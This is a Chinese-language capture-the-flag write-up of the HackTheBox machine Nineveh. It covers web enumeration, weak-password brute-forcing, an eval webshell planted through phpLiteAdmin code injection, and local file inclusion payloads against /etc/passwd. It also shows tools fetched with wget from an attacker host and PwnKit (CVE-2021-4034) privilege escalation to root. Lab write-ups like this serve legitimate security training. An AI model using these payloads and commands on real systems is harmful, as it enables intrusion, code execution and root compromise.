HackTheBox - Nineveh Write Up

OS:Linux
DIFFICULTY:Medium

0x01 信息收集

端口扫描:80、443,这个靶场估计是从web打点进入了

naabu -host 10.10.10.43 -Pn -tp 1000 -nmap-cli 'nmap -sV'

绑定hosts

echo '10.10.10.43 nineveh.htb' >> /etc/hosts

80端口

443端口

话不多说,直接开始扫目录,分别对80端口和443端口进行目录扫描

80端口:

dirsearch -u http://nineveh.htb/ -e *
  _|. _ _  _  _  _ _|_    v0.4.2                                                                     
 (_||| _) (/_(_|| (_| )                                                                              
                                                                                                     
Extensions: 公共 | HTTP method: GET | Threads: 30 | Wordlist size: 9009

Output File: /root/.dirsearch/reports/nineveh.htb/-_23-04-03_23-47-33.txt

Error Log: /root/.dirsearch/logs/errors-23-04-03_23-47-33.log

Target: http://nineveh.htb/

[23:47:34] Starting: 
[23:47:42] 403 -  300B  - /.htaccess.bak1                                  
[23:47:42] 403 -  297B  - /.ht_wsr.txt                                     
[23:47:42] 403 -  300B  - /.htaccess.orig                                  
[23:47:42] 403 -  300B  - /.htaccess.save
[23:47:42] 403 -  300B  - /.htaccess_orig
[23:47:42] 403 -  302B  - /.htaccess.sample
[23:47:42] 403 -  301B  - /.htaccess_extra
[23:47:42] 403 -  298B  - /.htaccess_sc
[23:47:43] 403 -  299B  - /.htaccessOLD2
[23:47:43] 403 -  300B  - /.htpasswd_test
[23:47:43] 403 -  291B  - /.html                                           
[23:47:43] 403 -  296B  - /.htpasswds                                      
[23:47:43] 403 -  297B  - /.httr-oauth
[23:47:43] 403 -  298B  - /.htaccessBAK                                    
[23:47:43] 403 -  298B  - /.htaccessOLD                                    
[23:47:43] 403 -  290B  - /.htm                                            
[23:47:45] 403 -  290B  - /.php                                            
[23:47:45] 403 -  291B  - /.php3                                           
[23:48:23] 200 -  178B  - /index.html                                       
[23:48:25] 200 -   83KB - /info.php                                         
[23:48:42] 403 -  299B  - /server-status                                    
[23:48:42] 403 -  300B  - /server-status/

发现存在phpinfo页面

http://nineveh.htb/info.php

443端口:

dirsearch -u https://nineveh.htb/ -e *
  _|. _ _  _  _  _ _|_    v0.4.2                                                                     
 (_||| _) (/_(_|| (_| )                                                                              
                                                                                                     
Extensions: 公共 | HTTP method: GET | Threads: 30 | Wordlist size: 9009

Output File: /root/.dirsearch/reports/nineveh.htb/-_23-04-03_23-44-24.txt

Error Log: /root/.dirsearch/logs/errors-23-04-03_23-44-24.log

Target: https://nineveh.htb/

[23:44:25] Starting: 
[23:44:35] 403 -  298B  - /.ht_wsr.txt                                     
[23:44:35] 403 -  301B  - /.htaccess.bak1
[23:44:35] 403 -  301B  - /.htaccess.orig
[23:44:35] 403 -  301B  - /.htaccess.save
[23:44:35] 403 -  303B  - /.htaccess.sample
[23:44:35] 403 -  302B  - /.htaccess_extra
[23:44:35] 403 -  301B  - /.htaccess_orig
[23:44:35] 403 -  299B  - /.htaccess_sc
[23:44:35] 403 -  299B  - /.htaccessBAK
[23:44:35] 403 -  299B  - /.htaccessOLD
[23:44:35] 403 -  300B  - /.htaccessOLD2
[23:44:35] 403 -  292B  - /.html                                           
[23:44:35] 403 -  291B  - /.htm
[23:44:35] 403 -  301B  - /.htpasswd_test
[23:44:35] 403 -  297B  - /.htpasswds
[23:44:35] 403 -  298B  - /.httr-oauth
[23:44:37] 403 -  291B  - /.php                                            
[23:44:37] 403 -  292B  - /.php3                                           
[23:45:14] 301 -  309B  - /db  ->  https://nineveh.htb/db/                  
[23:45:14] 200 -   11KB - /db/                                              
[23:45:14] 200 -   11KB - /db/index.php                                     
[23:45:23] 200 -   49B  - /index.html                                                          
[23:45:45] 403 -  300B  - /server-status                                    
[23:45:45] 403 -  301B  - /server-status/

根据dirsearch扫描结果,发现存在phpLitAdmin v1.9登录页面

https://nineveh.htb/db/index.php

先搜一波phpLiteAdmin的历史漏洞

searchsploit phpLiteAdmin 1.9

0x02 漏洞利用

尝试使用默认口令admin登录失败

先跑一波弱口令,好家伙竟然爆破成功了,密码:password123

接下来,利用一波PHPLiteAdmin 1.9.3 - Remote PHP Code Injection漏洞

漏洞详情:https://www.exploit-db.com/exploits/24044

该漏洞是由于PHPLiteAdmin未正确验证用户输入的数据库名称所致。攻击者可以向PHPLiteAdmin发送恶意请求,其中包含特制的数据库名称,该名称包含恶意PHP代码。当PHPLiteAdmin尝试连接到包含恶意数据库名称的SQLite数据库时,恶意代码将被执行。

1.创建数据库,命名为:shell.php

2.点击shell.php,然后点击SQL,输入以下SQL语句,创建数据表a,并插入一句话木马

CREATE TABLE 'a' ('data' TEXT default '<?php @eval($_POST[1]);?>')

3.执行sql成功

好家伙,这都弄完了才发现这个漏洞要配合本地文件包含,php文件被保存在/var/tmp目录下面了,没办法直接访问到,这该怎么办呢?


总感觉80端口只扫描出来phpinfo页面,好像也没什么有用的信息,可能是第一波扫描用的字典不够全面,我准备加载dirb的big.txt字典再扫描一波

gobuster dir -u http://nineveh.htb/ -w /usr/share/wordlists/dirb/big.txt -t 30

果然,还真有新发现,发现80端口存在目录/department

===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://nineveh.htb/
[+] Method:                  GET
[+] Threads:                 30
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/04/04 01:42:04 Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 295]
/.htpasswd            (Status: 403) [Size: 295]
/department           (Status: 301) [Size: 315] [--> http://nineveh.htb/department/]
/server-status        (Status: 403) [Size: 299]
Progress: 20466 / 20470 (99.98%)
===============================================================
2023/04/04 01:44:44 Finished
===============================================================

直接访问该目录,会跳转至login.php

http://nineveh.htb/department/login.php

遇到这种较难分辨CMS的系统,先查看前端源代码,可能会有意外收获

@admin! MySQL is been installed.. please fix the login page! ~amrois

根据这段注释,我们能得到以下信息:

  • 该网站使用了mysql数据库
  • 存在管理员账号admin
  • 可能存在普通用户amrois

经过测试,也确实存在admin用户,当用户名存在时页面会提示密码错误,否则会提示用户名错误

接下来尝试进行SQL注入

admin'
admin''
admin'+or+'1'='1
admin'+or+'1'='2

# 返回均为正常页面,判断不存在sql注入漏洞

接下来尝试爆破弱口令

哇塞,我想说我的字典是真的强大,再一次爆破弱口令成功了,密码:1q2w3e4r5t

登录系统后的页面:

http://nineveh.htb/department/manage.php

访问Notes页面,根据URL进行分析,此处可能存在本地文件包含漏洞

http://nineveh.htb/department/manage.php?notes=files/ninevehNotes.txt

然后,在此处使用以下payload尝试进行本地文件包含,页面显示均为:No Note is selected.

/etc/passwd
../../../../../etc/passwd
..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
/var/www/html/info.php

有点难受,经过尝试,发现在默认路径的前面加上/会产生报错信息

http://nineveh.htb/department/manage.php?notes=/files/ninevehNotes.txt

接着又执行以下payload,发现页面仍能正常去读取,产生报错信息并输出

http://nineveh.htb/department/manage.php?notes=../../../files/ninevehNotes.txt

继续访问以下目录,仍然能正常产生读取的报错信息

http://nineveh.htb/department/manage.php?notes=/etc/passwd/ninevehNotes.txt

根据不断的测试,分析此处文件包含功能点:在后台代码中对ninevehNotes进行了校验,即不管读取的是什么目录的文件,文件的名字必须是ninevehNotes,否则就读取失败

http://nineveh.htb/department/manage.php?notes=/etc/passwd/ninevehNotes # 页面正常读取报错
http://nineveh.htb/department/manage.php?notes=/etc/passwd/nineveh1Notes # 不执行读取页面


接下来,思考如何利用这个有限制的文件包含漏洞配合PHPLiteAdmin的远程代码注入漏洞完成getshell

思路:

  • 在PHPLiteAdmin系统中创建ninevehNotes.php 数据库
  • 写入一句话木马
  • 利用本地文件包含漏洞,去包含/var/tmp/ninevehNotes.php
  • 使用蚁剑连接webshell

实践:

1.创建ninevehNotes.php数据库

2.创建数据表,插入一句话木马数据

<?php @eval($_POST[1]);?>

Path to database: /var/tmp/ninevehNotes.php

3.利用本地文件包含漏洞,包含ninevehNotes.php文件

http://nineveh.htb/department/manage.php?notes=/var/tmp/ninevehNotes.php

4.使用蚁剑进行连接,需要配置请求信息的headers,填写Cookie信息

测试连接


接下来获取user的flag

find / -name "user.txt"

结果发现没有权限访问,没办法,只能先提权了

cat /home/amrois/user.txt

0x03 权限提升

上传提权工具linpeas/tmp目录

wget http://10.10.14.18:1111/linpeas -O /tmp/linpeas

程序运行后会过一段时间才会打印结果,需要稍等一会

cd /tmp
chmod +x linpeas
./linpeas

检测结果很多很全面,不过我们只需要关注以下两个点就可以了

  • CVEs Check

  • Executing Linux Exploit Suggester - Exposure: highly probable

接下来我们使用CVE-2021-4034进行提权操作

github项目地址:https://github.com/berdav/CVE-2021-4034

提权详细步骤:

1.在靶机中查看ldd的版本信息
$ ldd --version
ldd (Ubuntu GLIBC 2.23-0ubuntu5) 2.23
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.

2.运行具有相同ldd版本的docker镜像
docker run -it ubuntu:16.04 bash

3.安装编译器和库文件,解压缩文件
apt-get update
apt-get install -y build-essential,unzip

4.将zip上传至docker镜像tmp目录
docker cp CVE-2021-4034.zip 36e6b0192ec6:/tmp

5.解压缩zip
unzip CVE-2021-4034.zip

6.编译程序
cd /tmp/CVE-2021-4034
make

7.重新打包
cd /tmp
tar -czvf CVE-2021-4034.tar.gz CVE-2021-4034/

8.将打包好的压缩包cp到本地
docker cp 36e6b0192ec6:/tmp/CVE-2021-4034.tar.gz .

9.本地开启python,靶机wget下载
python3 -m http.server 1111
wget http://10.10.14.18:1111/CVE-2021-4034.tar.gz -O /tmp/CVE-2021-4034.tar.gz

10.靶机解压并运行
cd /tmp
tar -xzvf CVE-2021-4034.tar.gz
cd /CVE-2021-4034
chmod +x cve-2021-4034
./cve-2021-4034
whoami

接下来,分别获取userroot的flag

cat /home/amrois/user.txt
cat /root/root.txt

user flag:
e1e3cd5d3cbca89e17da3a1b33156f1c

root flag:
cc5b73a8f0b17a2862cdd9f04fdb8420

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Gh0stX

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值